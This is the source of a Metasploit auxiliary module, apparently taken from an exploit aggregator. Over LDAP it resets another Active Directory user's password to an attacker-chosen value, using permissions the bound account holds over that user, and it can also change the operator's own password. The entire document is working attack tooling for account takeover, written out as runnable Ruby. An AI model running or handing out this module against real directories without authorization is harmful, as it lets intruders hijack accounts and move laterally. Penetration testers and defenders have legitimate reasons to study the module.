## https://sploitus.com/exploit?id=MSF:AUXILIARY-ADMIN-LDAP-CHANGE_PASSWORD-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::LDAP
include Msf::OptionalSession::LDAP
ATTRIBUTE = 'unicodePwd'.freeze
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Change Password',
'Description' => %q{
This module allows Active Directory users to change their own passwords, or reset passwords for
accounts they have privileges over.
},
'Author' => [
'smashery' # module author
],
'References' => [
['URL', 'https://github.com/fortra/impacket/blob/master/examples/changepasswd.py'],
['URL', 'https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/6e803168-f140-4d23-b2d3-c3a8ab5917d2'],
],
'License' => MSF_LICENSE,
'Actions' => [
['RESET', { 'Description' => "Reset a target user's password, having permissions over their account" }],
['CHANGE', { 'Description' => "Change the user's password, knowing the existing password" }]
],
'DefaultAction' => 'RESET',
'Notes' => {
'Stability' => [],
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => []
}
)
)
register_options([
OptString.new('TARGET_USER', [false, 'The user to reset the password of.'], conditions: ['ACTION', 'in', %w[RESET]]),
OptString.new('NEW_PASSWORD', [ true, 'The new password to set for the user' ])
])
end
def fail_with_ldap_error(message)
ldap_result = @ldap.get_operation_result.table
return if ldap_result[:code] == 0
print_error(message)
if ldap_result[:code] == 19
extra_error = ''
if action.name == 'CHANGE' && !datastore['SESSION'].blank?
# If you're already in a session, you could provide the wrong password, and you get this error
extra_error = ' or incorrect current password'
end
error = "The password changed failed, likely due to a password policy violation (e.g. not sufficiently complex, matching previous password, or changing the password too often)#{extra_error}"
fail_with(Failure::NotFound, error)
else
validate_query_result!(ldap_result)
end
end
def ldap_get(filter, attributes: [])
raw_obj = @ldap.search(base: @base_dn, filter: filter, attributes: attributes)&.first
return nil unless raw_obj
obj = {}
obj['dn'] = raw_obj['dn'].first.to_s
unless raw_obj['sAMAccountName'].empty?
obj['sAMAccountName'] = raw_obj['sAMAccountName'].first.to_s
end
obj
end
def run
if action.name == 'CHANGE'
fail_with(Failure::BadConfig, 'Must set USERNAME when changing password') if datastore['USERNAME'].blank?
fail_with(Failure::BadConfig, 'Must set PASSWORD when changing password') if datastore['PASSWORD'].blank?
elsif action.name == 'RESET'
fail_with(Failure::BadConfig, 'Must set TARGET_USER when resetting password') if datastore['TARGET_USER'].blank?
end
if session.blank? && datastore['USERNAME'].blank? && datastore['LDAP::Auth'] != Msf::Exploit::Remote::AuthOption::SCHANNEL
print_warning('Connecting with an anonymous bind')
end
ldap_connect do |ldap|
validate_bind_success!(ldap)
if (@base_dn = datastore['BASE_DN'])
print_status("User-specified base DN: #{@base_dn}")
else
print_status('Discovering base DN automatically')
if (@base_dn = ldap.base_dn)
print_status("#{ldap.peerinfo} Discovered base DN: #{@base_dn}")
else
fail_with(Failure::UnexpectedReply, "Couldn't discover base DN!")
end
end
@ldap = ldap
begin
send("action_#{action.name.downcase}")
rescue ::IOError => e
fail_with(Failure::UnexpectedReply, e.message)
end
end
rescue Errno::ECONNRESET
fail_with(Failure::Disconnected, 'The connection was reset.')
rescue Rex::ConnectionError => e
fail_with(Failure::Unreachable, e.message)
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
fail_with(Failure::NoAccess, e.message)
rescue Rex::Proto::LDAP::LdapException => e
fail_with(Failure::NoAccess, e.message)
rescue Net::LDAP::Error => e
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
end
def get_user_obj(username)
obj = ldap_get("(sAMAccountName=#{ldap_escape_filter(username)})", attributes: ['sAMAccountName'])
fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{username}") unless obj
obj
end
def action_reset
target_user = datastore['TARGET_USER']
obj = get_user_obj(target_user)
new_pass = "\"#{datastore['NEW_PASSWORD']}\"".encode('utf-16le').bytes.pack('c*')
unless @ldap.replace_attribute(obj['dn'], ATTRIBUTE, new_pass)
fail_with_ldap_error("Failed to reset the password for #{datastore['TARGET_USER']}.")
end
print_good("Successfully reset password for #{datastore['TARGET_USER']}.")
end
def action_change
obj = get_user_obj(datastore['USERNAME'])
new_pass = "\"#{datastore['NEW_PASSWORD']}\"".encode('utf-16le').bytes.pack('c*')
old_pass = "\"#{datastore['PASSWORD']}\"".encode('utf-16le').bytes.pack('c*')
unless @ldap.modify(dn: obj['dn'], operations: [[:delete, ATTRIBUTE, old_pass], [:add, ATTRIBUTE, new_pass]])
fail_with_ldap_error("Failed to reset the password for #{datastore['USERNAME']}.")
end
print_good("Successfully changed password for #{datastore['USERNAME']}.")
end
end